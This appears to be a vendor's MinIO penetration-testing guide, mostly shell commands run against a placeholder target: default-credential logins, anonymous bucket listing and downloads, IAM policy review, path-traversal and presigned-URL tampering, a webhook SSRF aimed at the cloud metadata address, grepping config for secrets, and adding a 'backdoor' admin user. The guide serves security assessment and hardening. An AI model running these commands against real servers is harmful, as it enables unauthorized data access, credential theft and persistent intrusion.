MinIO Security Testing: Public Bucket Exposure, IAM Policy Bypass, Admin Console Access, and Server-Side Encryption Gaps

MinIO is the most popular self-hosted S3-compatible object storage, deployed widely in on-premise Kubernetes clusters and private clouds. Its familiar S3 API makes it easy to configure — and easy to misconfigure. Default credentials ship as minioadmin/minioadmin. The admin console runs on port 9001 and is often exposed without authentication. Anonymous bucket access can be set with a single API call. IAM policy wildcards grant unintended access. This guide covers systematic MinIO security assessment.

Table of Contents

  1. MinIO Discovery and Fingerprinting
  2. Authentication and Default Credentials
  3. Public Bucket Enumeration
  4. IAM Policy Audit and Bypass
  5. Presigned URL Security
  6. Admin API Abuse
  7. Server-Side Encryption Gaps
  8. MinIO Security Hardening

MinIO Discovery and Fingerprinting

# MinIO default ports
# 9000 — S3 API (HTTP/HTTPS)
# 9001 — MinIO Console (web UI, newer versions)
# 9090 — MinIO Console (older versions)

# Fingerprint MinIO via server headers
curl -s -I http://TARGET:9000 | grep -iE "server|x-amz|minio"
# X-Amz-Request-Id: indicates S3-compatible endpoint
# Server: MinIO — explicit identification

# Check health endpoint (no auth required)
curl -s http://TARGET:9000/minio/health/live
curl -s http://TARGET:9000/minio/health/cluster
# Returns 200 = MinIO is running

# Detect MinIO via S3 ListBuckets without credentials
aws s3 ls --endpoint-url http://TARGET:9000 --no-sign-request 2>&1
# "Access Denied" = auth required
# "" = anonymous access enabled
# "NoSuchBucket" = auth required but endpoint confirmed

# Check if console is accessible
curl -s -o /dev/null -w "%{http_code}" http://TARGET:9001
curl -s -o /dev/null -w "%{http_code}" http://TARGET:9090
# 200 = console accessible

Authentication and Default Credentials

# Default MinIO credentials: minioadmin/minioadmin (changed from minio/minio in RELEASE.2021-10+)
# Earlier versions: minio/minio

# Test with AWS CLI (S3-compatible)
AWS_ACCESS_KEY_ID=minioadmin AWS_SECRET_ACCESS_KEY=minioadmin \
  aws s3 ls --endpoint-url http://TARGET:9000

AWS_ACCESS_KEY_ID=minio AWS_SECRET_ACCESS_KEY=minio \
  aws s3 ls --endpoint-url http://TARGET:9000

# Test via MinIO client (mc)
mc alias set test http://TARGET:9000 minioadmin minioadmin --insecure
mc admin info test

# If authenticated with admin credentials:
# Enumerate all buckets and their policies
mc ls test/
mc anonymous get test/BUCKET_NAME

# Check admin console with default creds
curl -s -c /tmp/minio_cookies.txt -b /tmp/minio_cookies.txt \
  -X POST "http://TARGET:9001/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}' | \
  python3 -c "import json,sys; print(json.load(sys.stdin))"

Public Bucket Enumeration

# MinIO bucket policies can allow anonymous (unauthenticated) access
# Check for public buckets via anonymous S3 API calls

# Enumerate buckets via XML API (without credentials)
curl -s "http://TARGET:9000/" | python3 -c "
import sys
try:
    import xml.etree.ElementTree as ET
    root = ET.fromstring(sys.stdin.read())
    ns = '{http://s3.amazonaws.com/doc/2006-03-01/}'
    for bucket in root.findall(f'{ns}Buckets/{ns}Bucket'):
        name = bucket.find(f'{ns}Name').text
        print(f'Bucket: {name}')
except Exception as e:
    print(f'Error or auth required: {e}')
"

# List objects in specific buckets anonymously
aws s3 ls s3://TARGET_BUCKET --endpoint-url http://TARGET:9000 --no-sign-request

# Read objects from public bucket
aws s3 cp s3://TARGET_BUCKET/sensitive-file.txt /tmp/ \
  --endpoint-url http://TARGET:9000 --no-sign-request

# Check public bucket via direct HTTP (anonymous GET)
curl -s "http://TARGET:9000/TARGET_BUCKET?list-type=2" | \
  python3 -c "
import sys
import xml.etree.ElementTree as ET
try:
    root = ET.fromstring(sys.stdin.read())
    ns = '{http://s3.amazonaws.com/doc/2006-03-01/}'
    for obj in root.findall(f'{ns}Contents'):
        key = obj.find(f'{ns}Key').text
        size = obj.find(f'{ns}Size').text
        print(f'{key} ({size} bytes)')
except: print('Auth required or error')
"

# Check which buckets have public read/write policies
mc alias set test http://TARGET:9000 ACCESSKEY SECRETKEY
for bucket in $(mc ls test/ --json | python3 -c "import sys,json; [print(json.loads(l)['key'].rstrip('/')) for l in sys.stdin]"); do
    policy=$(mc anonymous get test/$bucket 2>/dev/null)
    echo "$bucket: $policy"
done

IAM Policy Audit and Bypass

# MinIO IAM policies use JSON similar to AWS IAM
# Common issues: wildcard resources, overly broad actions, missing condition keys

# List all IAM users and their policies
mc admin user list test
mc admin user info test USERNAME
mc admin policy list test

# Export and analyze policies
for policy in $(mc admin policy list test --json | python3 -c "import sys,json; [print(json.loads(l)['policy']) for l in sys.stdin]"); do
    mc admin policy info test "$policy" | python3 -c "
import json,sys
try:
    pol = json.load(sys.stdin)
    print(f'Policy: $policy')
    for stmt in pol.get('Statement',[]):
        effect = stmt.get('Effect','?')
        actions = stmt.get('Action','?')
        resources = stmt.get('Resource','?')
        if resources == '*' or (isinstance(resources,list) and '*' in resources):
            print(f'  [!] WILDCARD resource: Effect={effect} Actions={actions}')
        else:
            print(f'  Effect={effect} Actions={actions} Resources={resources}')
except: pass
"
done

# Test path traversal in object keys
# MinIO restricts access by bucket/prefix — test if path normalization bypasses policies
# Policy allows: s3:GetObject on arn:aws:s3:::restricted-bucket/public/*
# Test: can we access /private/ via path manipulation?
aws s3 cp "s3://restricted-bucket/public/../private/secret.txt" /tmp/ \
  --endpoint-url http://TARGET:9000

# Test * vs ** in resource ARN matching
# If policy: arn:aws:s3:::bucket/* (single wildcard = one path component)
# /deep/nested/path may be accessible if MinIO evaluates * as **

Presigned URL Security

# MinIO presigned URLs grant temporary access to specific objects
# Security issues: excessively long expiry, overly broad scope, URL reuse

# Generate a presigned URL (requires valid credentials)
mc share download test/BUCKET/object.pdf --expire 168h  # 7 days = too long

# Check expiry on intercepted presigned URLs
# Parse from URL query parameters
python3 -c "
from urllib.parse import urlparse, parse_qs
url = 'http://minio.example.com:9000/bucket/file.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=604800&X-Amz-Date=20260703T000000Z...'
params = parse_qs(urlparse(url).query)
expires = int(params.get('X-Amz-Expires',['0'])[0])
print(f'Expires in: {expires}s ({expires//3600}h)')
# 604800 = 7 days — excessive for most use cases
"

# Test presigned URL after expiry (should return 403)
# Test presigned URL with modified object key (should return SignatureDoesNotMatch)
BASE_URL="http://TARGET:9000/bucket/file.pdf?X-Amz-Algorithm=..."
# Try substituting a different object key:
MODIFIED="http://TARGET:9000/bucket/DIFFERENT_FILE.pdf?$(echo $BASE_URL | cut -d'?' -f2)"
curl -s -o /dev/null -w "%{http_code}" "$MODIFIED"

# Test for presigned URL scope — can a PUT presigned URL be used for other methods?
aws presign s3://bucket/upload-target \
  --endpoint-url http://TARGET:9000 \
  --expires-in 3600 > /tmp/presigned_put.url

# Try GET with the PUT presigned URL
curl -s "$(cat /tmp/presigned_put.url)" | head -5
# If returns object content → presigned URL method not enforced

Admin API Abuse

# MinIO admin API allows server management when authenticated with admin credentials
# Test for excessive permissions granted to non-admin service accounts

mc admin info test  # Check cluster info

# Create backdoor user (if admin credentials obtained)
mc admin user add test backdoor S3cur3P@ssw0rd!
mc admin policy attach test readwrite --user backdoor

# Check for config file exposure
mc admin config get test | grep -E "password|secret|key"

# MinIO CPU profiling endpoint (potential info leak)
curl -s "http://TARGET:9000/minio/v2/metrics/cluster" 2>/dev/null
# Should require authentication

# Test for SSRF via webhook/notification configuration
# MinIO supports webhook notifications for bucket events
mc admin config set test notify_webhook:1 \
  endpoint="http://169.254.169.254/latest/meta-data/" \
  auth_token="" 2>/dev/null
# Then trigger a bucket event to fire the webhook
mc event add test/bucket arn:minio:sqs::1:webhook --event put

# Check for exposed MinIO trace/profiling endpoints
curl -s "http://TARGET:9000/minio/health/cluster?verify" 2>/dev/null

Server-Side Encryption Gaps

# MinIO supports SSE-S3 (MinIO-managed), SSE-KMS (external KMS), and SSE-C (client-provided)
# Test what encryption is actually enforced

# Check if buckets require SSE
mc encrypt info test/BUCKET_NAME
# Encryption: none → objects stored in plaintext

# Test: upload without encryption headers
aws s3 cp /tmp/test.txt s3://BUCKET_NAME \
  --endpoint-url http://TARGET:9000 \
  --no-sign-request \
  --sse-customer-algorithm AES256 \
  --sse-customer-key "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAA=" 2>&1
# If upload without SSE headers succeeds → no server-side encryption enforcement

# Verify bucket encryption policy
aws s3api get-bucket-encryption \
  --bucket BUCKET_NAME \
  --endpoint-url http://TARGET:9000 2>&1
# "ServerSideEncryptionConfigurationNotFoundError" → no default encryption

# Check MinIO KMS configuration (for SSE-KMS)
mc admin kms key list test
# No keys configured → SSE-KMS not available = only SSE-S3 or plaintext

MinIO Security Hardening

MinIO Security Hardening Checklist:
Security TestMethodRisk
Default minioadmin credentialsmc alias set with minioadmin/minioadminCritical
Public bucket anonymous accessaws s3 ls --no-sign-requestCritical
Admin console on port 9001 exposedcurl http://TARGET:9001High
IAM wildcard resource policiesmc admin policy info — check Resource: *High
No default bucket encryptionaws s3api get-bucket-encryptionHigh
Presigned URL excessive expiry (7d+)Parse X-Amz-Expires from URL paramsMedium
Webhook notification SSRFConfigure webhook to internal metadata URLMedium

Automate MinIO Security Testing

Ironimo tests MinIO deployments for public bucket exposure, default credential access, IAM policy wildcard bypass, presigned URL scope issues, and console exposure — ensuring your self-hosted object storage is as secure as managed S3.

Start free scan